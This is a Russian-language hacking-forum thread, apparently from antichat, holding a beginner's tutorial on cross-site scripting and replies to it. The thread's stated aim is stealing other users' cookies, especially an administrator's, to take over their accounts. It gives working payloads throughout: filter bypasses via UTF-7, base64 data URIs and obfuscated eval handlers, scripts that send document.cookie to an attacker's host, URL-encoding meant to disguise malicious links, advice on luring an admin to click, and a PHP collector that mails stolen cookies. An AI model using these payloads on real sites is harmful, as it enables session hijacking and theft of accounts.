Cross Site Scripting для новичков Целью являеться объединение всех начальных тем про XSS. Статью писал от себя, накопленными мной знаниями, некоторые моменты были взяты с разных источников. Кто выше МОА или знаком с XSS идем сюда Начнем с самого начала Для обнаружения XSS необходимо во все поля вписать следующий скрипт PHP: <script>alert()</script> Если она не сработала, это еще не значит что ее там нет. Смотрим сорс странички и видим примерно следующие: PHP: <a href="index.php?id=1<script>alert()</script>">2</a> Из примера видно что файлу index.php с параметром id передаеться 1<script>alert()</script>. Это как раз то что нам надо. Для того что б скрипт сработал необходимо закрыть тег. Это можно сделать передав парамету id значение "><script>alert()</script> После закрытия код выглядит вот так: PHP: <a href="index.php?id=1"><script>alert()</script>">2</a> и мы видим алерт, который сообщает нам что уязвимость присутствует. Иногда бывает так, что стандартный способ не проходит, тогда пробуем подставить PHP: <IMG SRC="javascript:alert(); Но и это не всегда проходит, так как веб-мастера тоже не лохи, они фильтруют или вырезают спецальные символы. Для обхода можно использовать способ, который описал Algol. Кодировать будем кодировкой UTF-7. В ней используються символы: +,-,!,буквы латинского алфавита и цыфры, а они обычно не фильтруються Но к сажелению этот способ работает только под IE, и у вас должен стоять автовыбор кодировки. Пример работы можете посмотреть здесь PHP: +ADw-script+AD4-alert();+ADw-/script+AD4- < кодируется как +ADw- > кодируется как +AD4- Более подробно можно почитать здесь Ну что ж, а что с этим делать спросите вы? - а вот что: Теперь выскочил не просто алерт, в нем записаны ваши куки. Но цель то наша не посмотреть наши куки, а угнать чужие. Делаеться это так: Когда жертва пройдет по ссылке, его куки будут отправленны вам на почу. Это все конечно хорошо, но ссылка со скриптом в таком виде будет выглядить очень подозрительной, для этого необходимо ее закодировать в url кодировку. Теперь скрипт будет выгледить вот так: PHP: %3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%69%6D%61%67%65%2E%67%69%66%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E Но можно еще сделать по другому, а именно создать на своем сайте файлик 1.js в него вписать PHP: img=new Image(); img.src="http://vash-site.ru/image.gif?"+document.cookie; и давать уже ссылку на наш скрипт PHP: http://www.site.ru/index.php?id=<script src=http://vash-site.ru/1.js></script> или закодированный вариант PHP: http://www.site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E как видите, такая ссылка менее подозрительно и впарить ее админу намного легче, вот пример: Очень короткий разговор, но очень надежный. Люди по своей натуре очень любопытны, а тем более когда дело косаеться ихней собственности. Вот таким вот довольно простым способом мы угнали куки админа. Теперь остается их заменить, и вы админ =) С активными XSS дело намного проще. На форумах все предстоит по другому. Разрешены только BB-теги. Достаточно неплохо о них написал Micr0b. Читать тут XSS нападения через протокол DATA Наверняка многие из вас не слышали о данном методе атак. Что б было понятно я расскажу о нем на примере. Как видите, в алерте отобразились наши куки =) Смысл в том, что мы кодируем наш скрипт кодировкой base64, в данном случае <script>alert(document.cookie)</script> и выполняем его. Прелесть этого вида атаки в том, что XSS есть даже когда на сайте стоят фильтры. проверялась под Firefox/2.0.0.4 XSS нападение через Flash-анимации Заключаеться в следующем. 1. Находим сайт, где разрешено публичное добовление Flesh мультика 2. Откроем Macromedia Flash 3. Жмем правой кнопкой мыши по первому кадру и выбираем в появившемся меню Actions 4. Вписываем PHP: getURL("javascript:alert()") и сохраняем Впринцыпе у нас получиться активная XSS необходимо просто для пользы alert() заменить на код снифера =) PS 1.1 надеюсь статья поможет новичкам, старался расписать все доступным языком. пользовался матерьялами forum.antichat.ru, www.inattack.ru. 1.2 Прежде чем написать что это боян и копи-паст читаем пункт 1.1
Хорошим примером послужит бывшая XSS на mail.ru. Работала она под IE. Брался простой txt файл и в него прописывался PHP: <script>alert()</script> сохранялся и переименовывался в *.jpg Далее хакер отправлял письмо, только не с алертом, а с снифером и получал куки жертвы.
invlose верно говорит : использовать XSS нападения через протокол DATA таким образом, как это описано в статье не выйдет => автор сам не разобрался в том о чем пишет => зачем тогда писать ?? все описано в статье очень и очень поверхностно, и почему-то весьма напоминает вот это: http://www.cyberinfo.ru/index.php?newsid=1078 =/
Ребята, та мне наплевать что вам не понравилось. Я рад что моя статья помогла новичкам. А насчет нападения через протокол DATA попробуйте убрать пробелы. ps Я никогда не пишу того, что не понимаю.
>> А насчет нападения через протокол DATA попробуйте убрать пробелы. хмм.. в каком браузере и какой его версии ты увидел свои куки через self-contained xss?
Куки приходят, я проверял. Делаеться следующим образом 1 кодируеться в base64 PHP: <script>img = new Image(); img.src = "http://site.ru/image.gif?"+document.cookie;</script> получаеться PHP: PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+ 2 Вписуеться в окно браузера PHP: data:text/html;base64,PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+ 3 нажимаеться ENTER и куки приходят, в моем случае на мыло Firefox/2.0.0.4 думаю на других работать тоже должно
мдя, в ФФ1.5 и в minefild - срабатует нормально => ее можно считать браузерозависимой xss в операх от 8 до 9-й версии такого эффекта не наблюдается.. (хотя и можно некоторым образом ее использовать) а ie вообще data не поддерживает.. беру свои слова насчет, того, что ты не разобрался в этой xss назад, но все же, статья получилась поверхностной и недоработанной: когда работаешь с xss - проверять ее работоспособность на наиболее популярных браузерах имхо ПРОСТО ОБЯЗАТЕЛЬНО.. если б ты проделал подобную работу сейчас бы не было тут наших споров и статья бы имела большую полезность..
имхо зря вы на него накинулись, афтор не задавался целью описать все апекты xss в подробностях.... ТО что надо для первого ознакомления и понимая сути присутствует.... (с) http://www.cyberinfo.ru/index.php?newsid=1078 Куки алертицца)
На античате тысяча и одна статья как пихать <script>alert()</script , но никто не копает глубже.Вам не надоело писать одно и тоже ТЫСЯЧУ раз? Code: onclick='123["e"[0]+"v"[0]+"a"[0]+"l"[0]](alert(/1/)) onclick='open*eval*(alert(/1/)) onclick=top['ev'["con"+"cat"]('al')](alert(/1/))
Data -протокол (IE его не поддерживает), это относится к уязвимости ПО (Опера и к браузерам построенных на движке Gecko).
кул, я добрался до XSS ) тока вопросы появились, помогите ? - создал файлы : s.php, image.gif, .htaccess, 1.js, залил на хост, вопрос 1 (содержимое файла 1.js) : img=new Image(); img.src="http://cleric.16mb.com/image.gif?"+document.cookie; - так правильно ? вопрос 2 "скрипт, который крадет куки. Вот он:" : <script>img = new Image(); img.src = "http://cleric.16mb.com/image.gif?"+document.cookie;</script> - так ? вопрос 3 "и давать уже ссылку на наш скрипт" : http://www.site.ru/index.php?id=<script src=http://vash-site.ru/1.js></script> - как будет выглядеть в моем случае ? если сайт где все лежит такой : http://cleric.16mb.com/index.html
докрутил s.php и вот что приходит.. IP: xx.xxx.x.xxx Adress: Query: что я сделал не так или не докрутил
s.php : <?php $ip = UrlDecode(getenv('REMOTE_ADDR')); $referer = UrlDecode(getenv('HTTP_REFERER')); $query = UrlDecode(getenv('QUERY_STRING')); mail("[email protected]", "Cookie", "IP: $ip\n Adress: $referer\n Query: $query"); ?> а вот результат на почту приходит : IP: 85.115.248.xxx Adress: Query: вопрос где куки и как оне выглядят то ?
Посмотри в Опере куки, если там есть от нужного сайта, то ошибка у тебя, если нет(я почти уверен в этом), то на мыло соответственно ничего не приходить P.S. Если не получается перечитай первый пост внимательно. P.S.S 111-сообщение.